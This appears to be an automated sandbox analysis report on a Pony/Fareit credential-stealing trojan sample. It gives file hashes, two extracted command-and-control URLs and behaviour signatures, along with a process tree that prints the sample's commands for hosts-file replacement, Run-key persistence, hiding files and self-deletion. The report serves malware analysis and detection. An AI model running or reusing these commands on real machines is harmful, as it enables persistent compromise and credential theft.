Analysis

  • max time kernel
    122s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    30-10-2024 11:04

General

  • Target

    7ef2bc62c2c3f5be214828101793556f_JaffaCakes118.exe

  • Size

    83KB

  • MD5

    7ef2bc62c2c3f5be214828101793556f

  • SHA1

    6bbf50640f184a3e09ae04197111b2d798d82fac

  • SHA256

    21f58943f3000271fff8150cd9edd8e0d08a45f34bc536f1817f42c7e5d6e7c1

  • SHA512

    6dbb5a70c312ba4907a58c31dba7329c47c7e860e563495e975471ef58f257900fd1d235a80f23f0add053a2829798275664a18d09815f10bd0de8c08ae061f7

  • SSDEEP

    1536:Wivb20K4j4M4RckTAzQk/7xHz4aCys8A4eO9e24i/DnfNFIcp1wU:XvSPk4/VAQix8Es8Amyi/rI1

Malware Config

Extracted

Family

pony

C2

http://crytili.info:1654/ero.php

http://fypse2u.info:1654/ero.php

Signatures

  • Pony family
  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

  • Drops file in Drivers directory 4 IoCs
  • Deletes itself 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 32 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7ef2bc62c2c3f5be214828101793556f_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\7ef2bc62c2c3f5be214828101793556f_JaffaCakes118.exe"
    1⤵
    • Drops file in Drivers directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2316
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy %WINDIR%\system32\drivers\etc\hosts %WINDIR%\system32\drivers\etc\hosts.sam /Y && at 11:07:00 cmd.exe /c copy %TEMP%\259446214FdOh %WINDIR%\system32\drivers\etc\hosts /Y
      2⤵
      • Drops file in Drivers directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:372
      • C:\Windows\SysWOW64\at.exe
        at 11:07:00 cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\259446214FdOh C:\Windows\system32\drivers\etc\hosts /Y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:572
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\CurrentVersion\Run /v 259446276 /t REG_SZ /d "cmd.exe /c copy %TEMP%\259446214FdOh %WINDIR%\system32\drivers\etc\hosts /Y && attrib +H %WINDIR%\system32\drivers\etc\hosts /f
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2396
      • C:\Windows\SysWOW64\reg.exe
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\CurrentVersion\Run /v 259446276 /t REG_SZ /d "cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\259446214FdOh C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts /f
        3⤵
        • Adds Run key to start application
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        PID:3060
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 10 127.0.0.1 > NUL && del "C:\Users\Admin\AppData\Local\Temp\7ef2bc62c2c3f5be214828101793556f_JaffaCakes118.exe"
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:268
      • C:\Windows\SysWOW64\PING.EXE
        ping -n 10 127.0.0.1
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:2004
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {B0EB0503-3277-48DE-B03D-843B9F423874} S-1-5-18:NT AUTHORITY\System:Service:
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2000
    • C:\Windows\system32\cmd.exe
      cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\259446214FdOh C:\Windows\system32\drivers\etc\hosts /Y
      2⤵
      • Drops file in Drivers directory
      PID:1816

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\259446214FdOh

    Filesize

    1KB

    MD5

    dceac94b56cfe8eaf740f5a7e13115ce

    SHA1

    046317310c44ad3ad7496d137b2e1a33b427af56

    SHA256

    19fff745d4d7372c7c9ff125bfea0923e211085f56bcabba0d7555d64004d6d7

    SHA512

    4045a72cd996dbe1fec74d3eefe34eb51258e722684b394822b18dddca96fd7a36dd1faf6aa58465eb2b49e19ac84caa90450d1359b29cf8615ca3196fcf0178

  • memory/2316-0-0x0000000000401000-0x0000000000405000-memory.dmp

    Filesize

    16KB

  • memory/2316-1-0x0000000000400000-0x000000000042D000-memory.dmp

    Filesize

    180KB

  • memory/2316-2-0x0000000000400000-0x000000000042D000-memory.dmp

    Filesize

    180KB

  • memory/2316-6-0x0000000000401000-0x0000000000405000-memory.dmp

    Filesize

    16KB

  • memory/2316-7-0x0000000000400000-0x000000000042D000-memory.dmp

    Filesize

    180KB

  • memory/2316-15-0x0000000000400000-0x000000000042D000-memory.dmp

    Filesize

    180KB